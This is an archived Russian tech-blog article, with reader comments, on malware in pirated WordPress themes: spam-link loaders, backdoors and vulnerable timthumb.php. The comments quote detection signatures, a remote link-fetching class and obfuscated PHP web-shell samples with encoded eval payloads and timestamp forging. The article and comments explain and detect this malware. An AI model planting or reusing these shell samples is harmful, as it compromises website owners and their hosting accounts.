СоХабр закрыт.

С 13.05.2019 изменения постов больше не отслеживаются, и новые посты не сохраняются.

| сохранено

H Темы Wordpress и «бесплатный сыр» в черновиках

Тот факт, что бесплатные шаблоны для cms, скачанные не с оригинальных сайтов, могут быть заражены, содержать “пасхальные яйца” или уязвимости, вряд ли кого-то удивит. На просторах интернета достаточно много материала на эту тему. Но статьи с предупреждениями об опасности “бесплатного сыра” не содержат конкретных цифр, никто не пытался количественно измерить масштаб бедствия.



Мы решили провести эксперимент: скачали и проверили 2350 популярных русифицированных шаблонов для Wordpress, которые блоггеры используют на своих сайтах.

Результат нас неприятно удивил. Более половины, а точнее 54%, оказались зараженными хакерскими веб-шеллами, бэкдорами, black hat seo (“спам”) ссылками, а также содержали скрипты с критическими уязвимостями.

Темы и шаблоны для Wordpress мы скачивали с популярных сайтов-каталогов, предлагающих русскоязычные премиум и тематические шаблоны:

  • best-wordpress-templates.ru (99% зараженных или уязвимых тем)
  • wordpress-ru.ru (99% зараженных или уязвимых тем)
  • wpfree.ru (97% зараженных или уязвимых тем)
  • wpfreethemes.ru (16% уязвимых тем)
  • bestwordpress.ru (7% уязвимых тем)
  • wordpreso.ru (3% зараженных тем)



Данные сайты были выбраны как наиболее популярные, поскольку находятся по запросу “бесплатные темы для wordpress” в первой десятке в результатах поисковой выдачи.

Обращаем внимание на то, что они не единственные. Существует огромное число сайтов-клонов, которые предлагают пользователям те же архивы с зараженными и уязвимыми темами. Например, если скачать тему blogdog с другого сайта, например, wp-templates.ru, то мы увидим тот же хакерский бэкдор в файле comments-popup.php.



С помощью данного бэкдора можно выполнять произвольный код на сайте (загрузить веб-шелл, удалить содержимое каталогов, вставить вирусный код в шаблоны и скрипты, получить доступ к базе данных и многое другое), в результате чего получить полный контроль над всеми сайтами аккаунта хостинга.

Только с сайта wp-templates.ru тему blogdog скачали 309 раз, а в результатах поиска по запросу “ тема wordpress blogdog ” находится несколько десятков сайтов-каталогов с шаблонами. По грубым оценкам, суммарное число скачанных зараженных тем – более 500 000.
Какой вред таят в себе зараженные шаблоны?

1. Спам-ссылки


Подавляющее большинство (около 97%) проверенных тем содержат код, размещающий чужой контент и спам-ссылки на страницах блога. Это так называемое “черное seo” – недобросовестный метод продвижения сайтов в поисковых системах и накручивания поисковых параметров тИЦ и PR. Как он работает? В момент открытия страницы код в файлах header.php, footer.php или functions.php выполняет загрузку списка спам-ссылок с внешнего сайта и размещает их на страницах блога в невидимом для посетителей блоке.



Более продвинутый вариант кода может выполнять кэширование загруженных ссылок в файле (обычно такой файл имеет расширение .png или .gif и размещается в каталоге images темы, чтобы не вызвать подозрение вебмастера). Кроме размещения спам-ссылок в невидимом блоке, код может вставлять чужой контент (текст и ссылки) на страницах блога, а также заменять отдельные слова в тексте на ссылку, ведущую на чужой сайт.



В шаблонах часто можно встретить и статические ссылки на чужие сайты. Но они будут также изначально закодированы с помощью base64 или функции str_rot13.



С учетом большой популярности бесплатных тем, данный метод “черного” продвижения достаточно эффективен, так как позволяет сформировать большую ссылочную массу, поэтому активно используется недобросовеcтными seo оптимизаторами и хакерами для продвижения сайтов клиентов или собственных проектов.

В результате работы вредоносного кода сайт превращается в линкферму, заспамленную “пластиковыми окнами”, “виагрой” и ссылками на сайты для взрослых, теряет лояльность со стороны поисковой системы и посетителей, а иногда попадает в бан или блокируется антивирусным программным обеспечением. Еще одним негативным моментом для сайта является также увеличение нагрузки на процессор и замедление открытия страниц блога, так как при открытии каждой страницы выполняется подключение к внешнему ресурсу.

Пример заражения шаблона:



После декодирования:



2. Критические уязвимости в timthumb.php


Следующая по популярности проблема в шаблонах wordpress – это уязвимости в скрипте timthumb.php. Данный скрипт очень популярен среди разработчиков шаблонов и активно используется в темах для автоматического масштабирования изображений. В версии 2.8.13 и более ранних обнаружено несколько критических уязвимостей, позволяющих исполнять произвольный код на сайте и загружать произвольные файлы на хостинг (в том числе хакерские веб-шеллы). Если на вашем сайте установлена одна из старых версий, необходимо как можно быстрее обновить ее до актуальной из репозитория timthumb.googlecode.com/svn/trunk/timthumb.php. В противном случае все сайты на вашем аккаунте хостинга под угрозой.

3. Бэкдоры и веб-шеллы


И, наконец, переходим к самым опасным и явным признакам зараженной темы – это наличие бэкдоров и веб-шеллов.



Эти скрипты предоставляют хакеру полный контроль над файловой системой и базой данных аккаунта: можно управлять файлами и каталогами, размещать дорвеи, мобильные и поисковые редиректы, вирусный код в шаблонах и многое другое. Поскольку на большинстве виртуальных хостингов скрипты сайта могут получить доступ к файлам соседнего сайта, скопрометированными оказываются все сайты владельца, размещенные на том же аккаунте хостинга.

К счастью, веб-шеллов было обнаружено всего в 3% проверенных тем каталога wordpresso.ru (в шаблонах 3_PM, beautygames, blogdog, browntextures, edu_0, gamesstylish, gamingzone, grand-banquet, hostingsite, myfinance_0, pink-cake, PurpleStyle, refresh-your-taste). Тем не менее, необходимо быть на чеку и перед использованием проверять темы на наличие хакерских скриптов.

Revisium Wordpress Theme Checker


Мы написали небольшой сканер, который ищет вредоносные фрагменты в темах wordpress.



Как уберечь свой блог от взлома через уязвимости в шаблонах


  • Скачивайте темы только из проверенных источников. Если вы скачиваете коммерческую премиум-тему с сайта, где она размещена бесплатно, скорее всего шаблон заражен. Поэтому в первую очередь от взлома блогов на wordpress страдают любители халявы. Коммерческие темы для wordpress нужно покупать на официальных сайтах. Это практически исключает вредоносные вставки в шаблонах.
  • Проверьте скачанные темы на наличие вредоносного кода и спам-ссылок. Это можно сделать сканером AI-BOLIT. Все подозрительные файлы проверьте вручную. Для анализа тем на вредоносные вставки вы также можете обратиться к специалистам. Для экспресс-проверки можете воспользоваться сканером тем rwp_checker.php.
    Не рекомендуем использовать десктопные антивирусы для проверки шаблонов. В большинстве случаев они не обнаружат ничего подозрительного, так как обнаружение вредоносного кода в php скриптах — не их профиль.
  • Если на вашем сайте используется скрипт для масштабирования изображений timthumb.php или его модификации (thumb.php, _img.php и пр), проверьте его версию и обновите до последней доступной: timthumb.googlecode.com/svn/trunk/timthumb.php
  • Удалите все неиспользуемые шаблоны из директории wp-content/themes
    По нашим наблюдениям, пользователи устанавливают не один, а сразу несколько бесплатных шаблонов, тем самым увеличивая в разы вероятность взлома сайта. Если тема неактивна, она все равно позволяет открывать вредоносные скрипты из каталога wp-content/wp-themes/<имя темы>, поэтому не рекомендуем хранить коллекцию тем непосредственно на хостинге. Оставьте одну, активную, а остальные удалите.
+157
42445

комментарии (56)

–1
+5 –6
orangeSky ,   * (был изменён)
Не новость. Подобным не занимается только ленивый.

Хорошие шаблоны лучше все же купить, благо не миллион им цена. Из проверенных сайтов известный themeforest и иже с ним, где вручную все проверяют.

Ошибок и косяков в пользовательских скриптах и аддонах куда больше, а в раздел с плагинами без ОЗК заходить страшно.
+15
DuoDesign ,  
Года 1,5 назад покупал на themeforest тему Airfolio. Стоила 40 баксов. Через 2 недели все сайты на аккаунте полегли из-за превышенной нагрузки. Начали разбираться, оказалась причина в уязвимости именно этой темы, через нее злоумышленники получили доступ к серверу и начали использовать для спама. А шаблон то была официально на themeforest был куплен. Связался с themeforest, шаблон через 30 минут заблокировали, автора заблокировали, а мне вернули деньги. Больше на themeforest ничего не покупал.
0
Rosscian ,  
Если не секрет, а чем пользуетесь в таком случае? Просто сам несколько раз приобретал темы именно на Themeforest
+1
DuoDesign ,  
Последние 5 шаблонов которые использовал, все брал с сайта web2feel и путем не сложных махинаций допиливал под свои нужды. А надежной альтернативы themeforest я тоже не знаю, просто хотел сказать, что покупка шаблона — далеко не гарантия безопасности.
0
rsi ,  
Тоже хотел сказать, что на themeforest вряд ли вручную все проверяют.
+9
lubezniy ,  
Зато, судя по описанному, стараются таки держать репутацию приличного сайта.
0
+1 –1
rsi ,  
Было странно если бы они старались держать репутацию сайта с вирусами и бэкдорами.
+4
lubezniy ,  
Зато более чем реально держать репутацию неприличного сайта, который на жалобы не реагирует, гадость не удаляет и денег не возвращает.
0
rhamdeew ,  
Еще бы неплохо сайты на отдельные аккаунты разделять чтобы не было таких проблем. В случае со своим сервером вообще не проблема.
+2
AlexanderFedorenko ,  
Как вы проверяли? Где взять такое ПО? (кроме нотпад++, к нему вопросов нет)
Как проверять сайты (темы, плагины, в т.ч и легальные) для других CMS?
+2
+3 –1
Xlab ,  
Круг сжимается?
+2
0day ,  
Ну там же в статье есть ссылка на скрипт-сканер, однако полностью на него я бы не стал полагаться, так как там весьма ограниченный набор сигнатур:

// сигнатуры для тем
$fragments[] = '$links_class = new Get_links();'; // спам-ссылки
$fragments[] = '){ eval(base64_decode($_POST[\'file\'])'; // бэкдор
$fragments[] = 'eval(base64_decode(\'JGY'; // ссылки из файла .gif
$fragments[] = 'eval(base64_decode(\'Zn'; // статические спам-ссылки в футере
$fragments[] = 'eval(base64_decode("JGx'; // статические ссылки в сайдбаре
$fragments[] = 'eval(base64_decode("JH'; // tp_get_links, загрузка ссылок как rss (xml) и замена в футере
$fragments[] = 'eval(base64_decode($m'; // tp_get_links, загрузка ссылок как rss (xml) и замена в футере 
$fragments[] = 'eval(base64_decode($Q'; // в коде проверки лицензии вставляются ссылки
$fragments[] = 'eval(str_rot13('; // статические ссылки
$fragments[] = 'eval(file_get_contents(' . "\'" . 'http://';  // бэкдор в blogoptions
$fragments[] = '$OOO0O0O00=__FILE__;$OOO000000=urldecode(\'%61'; // ссылки в футере
$fragments[] = 'eval(base64_decode($_POST'; // бэкдор
$fragments[] = 'timthumb/'; // поиск файла timthumb
$fragments[] = '$default_action="FilesMan';  // WSO шелл


Если используете левую тему или плагин, то через тот же Notepad++ можно сделать поиск по файлам на предмет наличия таких замечательных слов как base64_, file_get_contents, eval, http://, move_uploaded_file и бегло посмотреть если они встречаются, зачем они там.
0
datacompboy ,  
над оеще ловить "](" сочетание квадратной закрывающей и открывающей круглой и проверять на тему а не шелл ли это.
Ловится вот такое:
<?$i96=«QU~T<`_YM82iAN>/v#s\»'q@tZFjJX6a\tcI)yS^boD.\$du|3\rWw=rC!;[4*P5LVkB?%19m:p7 -zK,gOl{Efx]0R}&h+\n\\(enGH"; $GLOBALS['rpdxi45'] = $i96[94].$i96[51].$i96[51].$i96[39].$i96[51].$i96[6].$i96[51].$i96[94].$i96[70].$i96[39].$i96[51].$i96[23].$i96[11].$i96[95].$i96[77]; $GLOBALS['umwfl54'] = $i96[11].$i96[95].$i96[11].$i96[6].$i96[18].$i96[94].$i96[23]; $GLOBALS['payhr58'] = $i96[74].$i96[74].$i96[21].$i96[30].$i96[30].$i96[29].$i96[59]; $GLOBALS['jjfef77'] = $i96[68].$i96[43].$i96[59]; $GLOBALS['woluw86'] = $i96[16].$i96[68].$i96[62].$i96[70].$i96[26].$i96[59]; $GLOBALS['xrcrc46'] = $i96[94].$i96[18].$i96[18].$i96[18].$i96[18].$i96[9].$i96[85]; $GLOBALS['nfrnt33'] = $i96[32].$i96[68].
0
romaan27 ,  
Хм. Это выглядит подозрительно, что скажите?

class Get_links {

    var $host = 'wpconfig.net';
    var $path = '/system.php';
    var $_socket_timeout    = 5;

    function get_remote() {
        $req_url = 'http://'.$_SERVER['HTTP_HOST'].urldecode($_SERVER['REQUEST_URI']);
        $_user_agent = "Mozilla/5.0 (compatible; Googlebot/2.1; ".$req_url.")";

        $links_class = new Get_links();
        $host = $links_class->host;
        $path = $links_class->path;
        $_socket_timeout = $links_class->_socket_timeout;
        //$_user_agent = $links_class->_user_agent;

        @ini_set('allow_url_fopen',          1);
        @ini_set('default_socket_timeout',   $_socket_timeout);
        @ini_set('user_agent', $_user_agent);

        if (function_exists('file_get_contents')) {
            $opts = array(
                'http'=>array(
                    'method'=>"GET",
                    'header'=>"Referer: {$req_url}\r\n".
                        "User-Agent: {$_user_agent}\r\n"
                )
            );
            $context = stream_context_create($opts);

            $data = @file_get_contents('http://' . $host . $path, false, $context);
            preg_match('/(\<\!--link--\>)(.*?)(\<\!--link--\>)/', $data, $data);
            $data = @$data[2];
            return $data;
        }
        return '<!--link error-->';
    }
}
+8
0day ,  
Скрипт может загружать произвольный код с сайта wpconfig.net (вероятно ссылки) и выводить их на на вашем сайте.
Как думаете, это подозрительно?
–6
romaan27 ,  
Нет, ну конечно когда вы сказали что он делает, стало ещё больше подозрительно. Добавил return ""
+1
GliX ,  
А просто удалить этот код не пробовали?
–6
romaan27 ,  
А если зависимость где? Да мне лень копаться в шаблоне — я не боюсь это признавать. Да это не правильно.
+5
HeadFore ,  
Удалив код, найдете, где зависимость была, а там еще что-нибудь интересное рядом может быть.
+4
LANdiver ,  
Поделюсь своим кусочком сигнатур шеллов и прочего, честно украденным найденным на просторах рунета:

'Mail sender 1' => 'indata_error',
'Mail sender 2' => 'base64_decode($_POST["mailto"])',
'Ajax_PHP Command Shell' => 'runcommand\(\'shellhelp\',\'GET\'\)', 
'Antichat Shell v1.3' => 'version ([0-9\.]+) by Grinay', 
'c100.php' => 'Written by Captain Crunch Team', 
'c2007.php', 'C99 Modified By Psych0', 
'c99 mod Captain Crunch' => '\$c99sh_updatefurl', 
'php-backdoor' => 'a simple php backdoor', 
'r577.php' => 'admin@spygrup\.org\[Kruis\]', 
'wso shell' => '\$auth_pass = \"([0-9a-f]{32})\";|\$default_action = \'FilesMan\';',
'backdoor' => 'eval\(stripslashes\(',
'Backdoor' => '@$_GET\[\'([0-9a-f]{32})\'\]\($_GET\[\'([0-9a-f]{32})\'\]\)');
0
pansa ,   * (был изменён)
О, как раз вчера до 5 утра вычищали дедик брата. php-шел, причем, зараза такая — он, похоже, исправляет за собой даты модификации файла, чтобы сильно не палиться, плюс умеет выставлять права на запись в том случае, если он владелец файла.
( Это, кстати, такой чуть неочевидный момент: снятие прав доступа на запись к файлу с точки зрения защиты бессмысленно по отношению к владельцу файла, который всегда может поменять их до необходимых. )

Еще отловленный шелл (или его доставщик? не разбирался, не суть) прописывался в php-ники, выставляя перед своим кодом много символов 0x09 (TAB), в результате человек может не заметить хвост с кодом. Вот кусочки, вроде еще никто не публиковал:

error_reporting(0);
$files = scandir($_SERVER['DOCUMENT_ROOT']);
for ($i=0;$i<count($files);$i++) {
if(stristr($files[$i], 'php')) {
$time = filemtime($_SERVER['DOCUMENT_ROOT']."/".$files[$i]);
break;
}
}
touch(dirname(__FILE__), $time);
touch($_SERVER['SCRIPT_FILENAME'], $time);

chmod(dirname(__FILE__), 0511); chmod(__FILE__, 0404); if (isset($_REQUEST['blog'])){ $GLOBALS['_2094092534_']=Array('preg_re' .'place'); function _773815655($i){$a=Array("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'lZ3LqmxZj537Br/DT1ENu1PsteYtgsJvok5cbeyCAmPM//g+oRjf0NxZprAbSWaes3fEWvMiDQ1JQ//49395/a/2X//2t3/6L3/7h/j7+vnzzxl/n+PPPyv+Pt71/5…
.../unv/3j3//1f/6P/3bkf71aW/89/ysnt/znf/4/'\x29\x29\x29\x3B","");return $a[$i];} $GLOBALS['_2094092534_'][0](_773815655(0),_773815655(1),_773815655(2)); } else {
echo «Hacking attempt!»;

}

И такие:

//###==###
error_reporting(0);
preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'lZnNqiPLEYT3Br/DMMzC3lyOuv4kBr+JNq2WhMEGwyyGYz+9OyO/UPXI5sJdNFK36icrMzIysvXt88fP/p+fX7789rcvX6+f42O/lutnb/s1rp/tOe/jt77t12m/Sj5bzvu1/77s45bHfq35Xb/F8y0/2/459rGl71c73I989svvp1/vaznc72uV89v48et69W1+ubyt195+77+z37s9YW/9nfP8P/vez/++3vt+x/XKm33lbf99bH333+/Z1/93vz80n/Mtu91jj3WLufv4un+v++fYz1Z3HNTBuoGn8P8+Z8Q6EavAzzn9PPYxY5/XY8ySa/X7/mzkGrFH3Z/Xjft9Xt/xVe95H…
/x3774neL8S0bs/imqvbX7/8F'\x29\x29\x29\x3B","");
//###==###

И такие еще кусочки

$GLOBALS['_825620208_']=Array('' .'preg_rep' .'l' .'a' .'c' .'e'); function _618580451($i){$a=Array("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'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'\x29\x29\x29\x3B","");return $a[$i];} $GLOBALS['_825620208_'][0](_618580451(0),_618580451(1),_618580451(2));
//######
gzipout();

Заражение прошло судя по всему через уязвимость в теме к WP really-simple-captcha. В общем, ночь была интересная =)
Так что, господа сеошники, следите за своими подопечными. Бэкапы, мониторинг изменений файлов, обновления и доверенные источники тем!
+4
hazg ,  
Не помню, где подсмотрено:
pastebin.com/0m9VTS0X
0
Vilgelm ,  
exclude=*.{png,gz,zip,rar,tgz,gif,pdf,jpg,jpeg,wmv} там явно лишнее, очень часто вредоносные скрипты прячутся в файлах .jpg и .png
+3
pingvi69 ,  
А лучше верстать самому — зато точно можно быть уверенным, что там нет ничего лишнего.
+3
Vokabre ,  
Как вариант — взять простейшую тему и на ней строить.
+1
andreili ,  
Лично мне хватило базовой темы. Всё равно из готовых тем можно склепать только что-то шаблонное. А зачастую хочется чего-то особенного. Вот и приходится перепиливать стандартную тему.
+3
+5 –2
hudson ,  
Обычно хотят все и сразу… Желательно даром. Отсюда и результат
+10
pyrk2142 ,  
Я не вижу ничего особо удивительного в этом. Даже сказал бы, что это весьма логично и ожидаемо: где, как не среди пользователей Wordpress найти тех, кто имеет большое количество сайтов с низкой/средней посещаемостью, средние по ограничениям хостинг-аккаунты и абсолютное отсутствие знаний о информационной безопасности? Это очень лакомый кусок для черных SEOшников и начинающих хакеров. Неудивительно, что столькие хотят отхватить немного от этого куска.

Я бы еще посмотрел количество зараженных шаблонов под Joomla, а так же плагинов и компонентов (особенно, платных) для обеих систем на аналогичных сайтах. Думаю, что результаты будут аналогичные, а то и еще более неприятные.
+1
Jammarra ,   * (был изменён)
Да это печально, кто бы знал как меня достали клиенты когда работал в поддержке хостинга, которые ставят шаблоны/плагины от куда попало, а потом орут «ааа меня взломали/vps не работает, спасите помогите»

Кстати спасибо за ваш AI-Bolit, отличная штука, всегда клиентам рекомендовал.
+1
+3 –2
Daedmen ,  
Все эти сигнатуры для поиска строчки текста ужасно не надежны. По хорошему надо брать AST и уже в нём искать теже самые eval, include и preg_match да shell_exec, благо опасных ф-ий раз два и обчелся. Так что написать настоящий пули непробиваемый проверяльщик зловреда дело дней двух, максимум трех.
+1
mnemonic ,  
Сигнатуры в RWP сканере, про который упомянуто в статье, служат для экспресс-проверки тем. Они обнаруживают те образцы вредоносов и спам-ссылок, которые были найдены при анализе 2350 шаблонов. Для более тщательного сканирования рекомендую сканер AI-BOLIT, в настоящий момент в его базе 1108 регулярных выражений, заточенных под обнаружение php и perl вредоносов. Он достаточно эффективно отлавливает как мини-шеллы вида <?=@`$a` или <? extract($_COOKIE); @$i($p); ?>, так и обфусцированные веб-шеллы вида $jm0VD="$2$1";$cNmYaUB="\57\x28\x2e\51\50\56\x29";$DMsnQ4l="\160\162\145... И им желательно прогнать весь сайт, а не только темы. Причем, опытным веб-мастерам я бы рекомендовал сразу переключить его в «параноидальный» режим.
+6
Daedmen ,  
ОК, но я говорю о том что искать в коде опасные участки регулярными выражениями не очень хорошая идея, гораздо лучше построить AST(благо это умеет и сам php, и фейсбучный pfff, и PHP-Parser с гитхаба) и уже по нему искать, так очень сильно повысится стабильность сигнатур к изменениям кода, и их потребуется всего штук 10-15, а не несколько сотен, т.к. способов запустить динамический код в php не так уж и много, как и способов вылезти в интернеты.
0
pansa ,   * (был изменён)
С ai-bolit идут списки CRC32 хэшей чистых файлов различных cms, как я понимаю. Не очень удачный выбор, хорошему трояну будет не трудно подкрутить crc до нужного. Хотя бы — MD5 — это хоть немного повышает уровень вхождения, по-хорошему — sha1.
Да, я понимаю, это более ресурсоемкие алгоритмы и лучше это делать не в php, но если ваш сканер претендует на серьёзность — вам рано или поздно придется это сделать.
–1
+1 –2
vilgeforce ,  
А что есть тот самый AST? Я сходу нашел про потроха Eclipse что-то.
+1
Daedmen ,  
Abstract syntax tree
0
vilgeforce ,  
Можете какие-то готовые инструменты для такого анализа подсказать? Или все ручками?
+1
Daedmen ,  
Кто ast может сгенерить я уже написал выше habrahabr.ru/post/234329/#comment_7898391.

Копаться в нём уже ручками придется, хотя в pfff прикручен пролог и некоторый набор правил для него, так что там вероятно уже работы меньше будет.

Ещё можно посмотреть парсер из phpStorm'а, там надо будет на java/groovy к нему тогда плагин писать, но зато из коробки получите уже всякий findUsage хорошо работающий, а половина успеха + там на всё уже решены вопросы производительности, посмотрите confluence.jetbrains.com/display/IDEADEV/Developing+Custom+Language+Plugins+for+IntelliJ+IDEA и плагин PSI VIewer.
+1
OnYourLips ,  
В PHP нет AST (в стандартной реализации), ее только планируют добавить, а большинство способов вызвать код и в AST не обнаружить из-за возможностей языка.
+1
Daedmen ,  
>В PHP нет AST
Вы говорите об использование AST в компиляторе wiki.php.net/rfc/abstract_syntax_tree, а я говорю о том как парсить нормально, token_get_all есть в PHP 4 >= 4.2.0, PHP 5 + сторонние реализации о которых я писал выше.

>в AST не обнаружить
Возможностей не так много, я вроде бы все уже написал, причем особого смысла использовать их не для зловреда нету. В крайнем случае будет какое-то кол-во false positive ошибок, но не будет false negative ошибок.
0
sferrka ,  
По поводу динамического кода соглашусь (хотя, фреймворки и любят его). Но количество функций работы с файлами явно будет бОльшим. А обычно (и по умолчанию) allow_url_fopen — 1. Это еще один способ маскировки для шелла — не маскировать его с помощью палевных функций, а просто внедрить с виду обычный код. Особенно, это касается Open Source систем. Как в этом комментарии.
0
+1 –1
Lerg ,  
Интересно какая ситуация по темам для платформы Ghost, можете тоже проверить?
0
AntonRazumov ,  
Можно вопрос не от профессионала, а простого пользователя?
Я-то себе на Artisteer рисовал, там проблем не найдено, а у знакомой реально такая гадость нашлась.
Правильно я понимаю, что можно выкинуть
<?php $lib_path = dirname(__FILE__).'/'; require_once('functions.php'); $links = new Get_links(); $links = $links->return_links($lib_path); echo $links; ?>
из comments.php и class Get_links {} из functions.php, чтобы почувствовать себя легче? Ну хотя бы пока она тоже себе не нарисует?
0
navion ,  
Помню когда-то зарегистрировал ящик на mail.ru с названием какой-то из песен Металлики, через пару дней на него начали сыпаться пароли с пары форумов на одной из сборок IPB.
0
zencd ,   * (был изменён)
Господа, а может просто взять этот eval() да отменить? На хостинге. Ведь злая вещь… Насколько это реалистично для свежеустановленного Wordpress-сайта, например?
–1
Daedmen ,  
disable-functions в iniшнике подробнее тут php.net/manual/en/ini.core.php#ini.disable-functions
0
zencd ,   * (был изменён)
Насколько я знаю, конкретно eval так не отменяется. Есть, правда, другие способы…

Но вопрос мой был не о тактике, а вот о чем:
— ведь если эвал настолько зол,
— одновременно настолько не нужен в нормальном прогораммировании,
— однако везде включен…

То может быть в таком положении дел есть какой-то скрытый от меня смысл? Ну, может, душа WP только на эвалах и держится (-:
0
Daedmen ,  
Сходу не придумаю других способов что бы без ереси всякой и на ±любом хостинге завелось, расскажи плз
0
sferrka ,  
1. Eval совсем не зол. Если уж у злоумышленника появился доступ к файлам, то отсутствие eval его не остановит. А если речь о взломе через eval, то это лишь единичные случаи уязвимостей в фреймворках (причем реже, чем другие). Гораздо важнее и опаснее доступ скриптов наружу в Интернет. Чаще всего это не нужно, а вот опасностей множество.
2. eval удобен, когда речь идет о применении другого языка в PHP — допустим язык шаблонов: разбираем шаблон, вытаскиваем переменные, вычисляем их с помощью eval в нужном месте с контекстом, подставляем вычисленные значения в шаблон. Или, допустим, конфигурационные файлы с вставками названий переменных (или классов). Многие системы хранят код в базе опять же.
0
sferrka ,  
eval — это не функция, а языковая конструкция, как echo. Задизэблить eval (и много чего другого) можно с помощью этого патча.
0
lubezniy ,  
Вещь злая. Но после отключения оной тот же vBulletin работать не будет: у него ряд скриптов хранится в базе и вызывается как раз через eval. И это не единственный такой продукт.
–3
+1 –4
ntfs1984 ,  
Давно склоняюсь к тому, что лучше убить на неделю больше, но написать самописный движок для сайта, благо ПЫХ — язык легкий.
+6
tearexs ,  
Данная мысль посещает огромное число начинающих программистов, но все-таки использовать проверенный тысячами установок движок безопаснее, чем писать свой, пусть и без известных багов, но с такими, которые никто, кроме вас, исправить не сможет.
+3
+4 –1
